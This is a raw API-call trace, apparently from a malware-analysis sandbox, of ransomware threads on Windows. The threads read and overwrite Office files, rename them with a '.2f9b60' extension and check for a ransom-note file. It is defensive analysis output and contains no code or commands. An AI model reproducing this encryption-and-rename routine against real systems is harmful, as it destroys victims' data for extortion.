[0135.407] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="a4") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="93") returned 2 [0135.407] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="72") returned 2 [0135.407] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="71") returned 2 [0135.408] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="1f") returned 2 [0135.408] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="9d") returned 2 [0135.408] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="3f") returned 2 [0135.408] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="5b") returned 2 [0135.408] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="3b") returned 2 [0135.408] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="c5") returned 2 [0135.408] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="b6") returned 2 [0135.408] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="32") returned 2 [0135.408] RtlInitAnsiString (in: DestinationString=0x2207f7e8, SourceString="4ee05d8f4a92286704d2a49372711f9d3f5b3bc5b632" | out: DestinationString="4ee05d8f4a92286704d2a49372711f9d3f5b3bc5b632") [0135.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x2207f7b8, SourceString="4ee05d8f4a92286704d2a49372711f9d3f5b3bc5b632", AllocateDestinationString=1 | out: DestinationString="4ee05d8f4a92286704d2a49372711f9d3f5b3bc5b632") returned 0x0 [0135.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8ec0 [0135.408] wcscat (in: _Dest=0x202a4f50, _Source="4ee05d8f4a9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4ee05d8f4a9") returned="C:\\Program Files\\Microsoft Office\\Office14\\4ee05d8f4a9" [0135.409] wcscat (in: _Dest=0x202a4f50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4ee05d8f4a9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\4ee05d8f4a9.2f9b60" [0135.409] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\4ee05d8f4a9.2f9b60", NtPathName=0x2207f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\4ee05d8f4a9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d210 [0135.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0135.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49a80) returned 1 [0135.623] NtQueryInformationFile (in: FileHandle=0x1c04, IoStatusBlock=0x2207f7f8, FileInformation=0x2207f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2207f7f8, FileInformation=0x2207f808) returned 0x0 [0135.623] NtSetInformationFile (FileHandle=0x1c04, IoStatusBlock=0x2207f7f8, FileInformation=0x2207f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4f50) returned 1 [0135.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ec0) returned 1 [0135.626] FlushFileBuffers (hFile=0x1c04) returned 1 [0138.534] CloseHandle (hObject=0x1c04) returned 1 [0138.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b160 [0138.632] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0138.632] wcscat (in: _Dest=0x1b86b160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0138.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0138.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0138.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 Thread: id = 1717 os_tid = 0x17e4 [0130.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub")) returned 0x20 [0132.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub", dwFileAttributes=0x20) returned 1 [0133.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf8 [0134.353] GetFileSizeEx (in: hFile=0x1bf8, lpFileSize=0x215df960 | out: lpFileSize=0x215df960*=3584) returned 1 [0134.353] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0xdfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.353] ReadFile (in: hFile=0x1bf8, lpBuffer=0x215df8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x215df928, lpOverlapped=0x0 | out: lpBuffer=0x215df8e0*, lpNumberOfBytesRead=0x215df928*=0x4, lpOverlapped=0x0) returned 1 [0134.365] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0134.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0134.366] NtQuerySystemTime (in: CurrentTime=0x215df820 | out: CurrentTime=0x215df820*=132462177396118000) returned 0x0 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x7b9959fd [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x70503a14 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x69a19747 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x5c15ce50 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x7020e4cc [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x22c8d703 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x421bffc3 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x50b5ba22 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x109d7583 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x16c15bc7 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x66d610ba [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x33cdd85d [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x62aebc68 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x6e2001d4 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x476ddb13 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x654f2a13 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x65267895 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x4be91ce6 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x4f17fcc2 [0134.366] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x3f0ff4c [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x68dcb2a7 [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x1902c8e3 [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x4cde134a [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x1917ca42 [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x5bee46ca [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x4a0936e1 [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x606f0a5f [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x63792217 [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x390e0c6b [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x19ced834 [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x363aa4a [0134.367] RtlRandomEx (in: Seed=0x215df810 | out: Seed=0x215df810) returned 0x5b52bd18 [0134.379] ReadFile (in: hFile=0x1bf8, lpBuffer=0x41cb1d40, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x215df810, lpOverlapped=0x0 | out: lpBuffer=0x41cb1d40*, lpNumberOfBytesRead=0x215df810*=0xe00, lpOverlapped=0x0) returned 1 [0134.379] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.379] WriteFile (in: hFile=0x1bf8, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x215df814, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x215df814*=0xe00, lpOverlapped=0x0) returned 1 [0134.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0134.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0134.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0134.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0134.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb1d40) returned 1 [0134.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0134.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0134.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fa70 [0134.405] SetFilePointerEx (in: hFile=0x1bf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.405] WriteFile (in: hFile=0x1bf8, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x215df930, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x215df930*=0x110, lpOverlapped=0x0) returned 1 [0142.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0142.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0142.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0142.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0142.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204ff5e0 [0142.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff610 [0142.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0142.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0142.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0142.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0142.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd978a0 [0142.467] sprintf (in: _Dest=0x1cd978a0, _Format="%c%c" | out: _Dest="84") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978a2, _Format="%c%c" | out: _Dest="67") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978a4, _Format="%c%c" | out: _Dest="2f") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978a6, _Format="%c%c" | out: _Dest="75") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978a8, _Format="%c%c" | out: _Dest="3a") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978aa, _Format="%c%c" | out: _Dest="17") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978ac, _Format="%c%c" | out: _Dest="d8") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978ae, _Format="%c%c" | out: _Dest="b0") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978b0, _Format="%c%c" | out: _Dest="bb") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978b2, _Format="%c%c" | out: _Dest="d2") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978b4, _Format="%c%c" | out: _Dest="46") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978b6, _Format="%c%c" | out: _Dest="88") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978b8, _Format="%c%c" | out: _Dest="bd") returned 2 [0142.467] sprintf (in: _Dest=0x1cd978ba, _Format="%c%c" | out: _Dest="f6") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978bc, _Format="%c%c" | out: _Dest="82") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978be, _Format="%c%c" | out: _Dest="74") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978c0, _Format="%c%c" | out: _Dest="20") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978c2, _Format="%c%c" | out: _Dest="c3") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978c4, _Format="%c%c" | out: _Dest="2b") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978c6, _Format="%c%c" | out: _Dest="db") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978c8, _Format="%c%c" | out: _Dest="88") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978ca, _Format="%c%c" | out: _Dest="ce") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978cc, _Format="%c%c" | out: _Dest="20") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978ce, _Format="%c%c" | out: _Dest="06") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978d0, _Format="%c%c" | out: _Dest="4b") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978d2, _Format="%c%c" | out: _Dest="c1") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978d4, _Format="%c%c" | out: _Dest="ad") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978d6, _Format="%c%c" | out: _Dest="a7") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978d8, _Format="%c%c" | out: _Dest="e9") returned 2 [0142.468] sprintf (in: _Dest=0x1cd978da, _Format="%c%c" | out: _Dest="41") returned 2 [0142.468] RtlInitAnsiString (in: DestinationString=0x215df9a8, SourceString="84672f753a17d8b0bbd24688bdf6827420c32bdb88ce20064bc1ada7e941" | out: DestinationString="84672f753a17d8b0bbd24688bdf6827420c32bdb88ce20064bc1ada7e941") [0142.468] RtlAnsiStringToUnicodeString (in: DestinationString=0x215df978, SourceString="84672f753a17d8b0bbd24688bdf6827420c32bdb88ce20064bc1ada7e941", AllocateDestinationString=1 | out: DestinationString="84672f753a17d8b0bbd24688bdf6827420c32bdb88ce20064bc1ada7e941") returned 0x0 [0142.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x2050aec0 [0142.468] RtlFreeAnsiString (AnsiString="8") [0142.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0142.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0142.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff610) returned 1 [0142.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166e00) returned 1 [0142.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f770) returned 1 [0142.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0142.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fa70) returned 1 [0142.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673e0) returned 1 [0142.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0142.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0142.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0142.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050a2f0 [0142.470] wcscat (in: _Dest=0x2050a2f0, _Source="84672f753a17d8b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\84672f753a17d8b") returned="C:\\Program Files\\Microsoft Office\\Office14\\84672f753a17d8b" [0142.470] wcscat (in: _Dest=0x2050a2f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\84672f753a17d8b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\84672f753a17d8b.2f9b60" [0142.470] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\84672f753a17d8b.2f9b60", NtPathName=0x215df950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\84672f753a17d8b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0142.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d2c0 [0142.471] NtSetInformationFile (FileHandle=0x1bf8, IoStatusBlock=0x215df9f0, FileInformation=0x2050d2c0, Length=0xa2, FileInformationClass=0xa) returned 0x0 [0146.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d2c0) returned 1 [0146.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0146.883] NtQueryInformationFile (in: FileHandle=0x1bf8, IoStatusBlock=0x215df9b8, FileInformation=0x215df9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x215df9b8, FileInformation=0x215df9c8) returned 0x0 [0146.883] NtSetInformationFile (FileHandle=0x1bf8, IoStatusBlock=0x215df9b8, FileInformation=0x215df9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0148.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 [0148.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aec0) returned 1 [0148.234] FlushFileBuffers (hFile=0x1bf8) returned 1 [0148.250] CloseHandle (hObject=0x1bf8) returned 1 [0162.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c22240 [0162.923] wcscpy (in: _Dest=0x42c22240, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0162.923] wcscat (in: _Dest=0x42c22240, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0162.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0162.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22240) returned 1 [0162.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 Thread: id = 1718 os_tid = 0xfc8 [0130.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub")) returned 0x20 [0132.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub", dwFileAttributes=0x20) returned 1 [0133.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_es.dub"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c14 [0134.450] GetFileSizeEx (in: hFile=0x1c14, lpFileSize=0x2246fa00 | out: lpFileSize=0x2246fa00*=2560) returned 1 [0134.450] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x9fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.450] ReadFile (in: hFile=0x1c14, lpBuffer=0x2246f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2246f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2246f980*, lpNumberOfBytesRead=0x2246f9c8*=0x4, lpOverlapped=0x0) returned 1 [0134.494] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267410 [0134.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267650 [0134.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676e0 [0134.495] NtQuerySystemTime (in: CurrentTime=0x2246f8c0 | out: CurrentTime=0x2246f8c0*=132462177397366000) returned 0x0 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x16553ce3 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x5da12aec [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x6aaafb1e [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x45bd6a5 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x835ac2a [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x5a9be6c8 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x73057a44 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x380a74fc [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x2a8c10e9 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x1e7c280a [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x1d3eba31 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x347eaad5 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x37f4c84c [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x12eec32f [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x157f0123 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x87c0a86 [0134.495] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x59e8ca95 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x1c598066 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x423801e2 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x6a4cc269 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x7c16a282 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x1ed74bdf [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x57c10eb3 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x436a7e10 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x24b2120c [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x1a9628d6 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x7da76db3 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x65d702 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x16db6961 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x139eb4a9 [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x6025a3e [0134.496] RtlRandomEx (in: Seed=0x2246f8b0 | out: Seed=0x2246f8b0) returned 0x217120b4 [0134.508] ReadFile (in: hFile=0x1c14, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2246f8b0, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2246f8b0*=0xa00, lpOverlapped=0x0) returned 1 [0134.508] SetFilePointerEx (in: hFile=0x1c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.508] WriteFile (in: hFile=0x1c14, lpBuffer=0x41cb5950*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2246f8b4, lpOverlapped=0x0 | out: lpBuffer=0x41cb5950*, lpNumberOfBytesWritten=0x2246f8b4*=0xa00, lpOverlapped=0x0) returned 1 [0161.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e00 [0161.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e30 [0161.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3e30) returned 1 [0161.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb5950) returned 1 [0161.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0161.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0161.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0161.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d82c0 [0161.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0161.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e410 [0161.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3e30 [0161.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3e30) returned 1 [0161.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d8280 [0161.358] 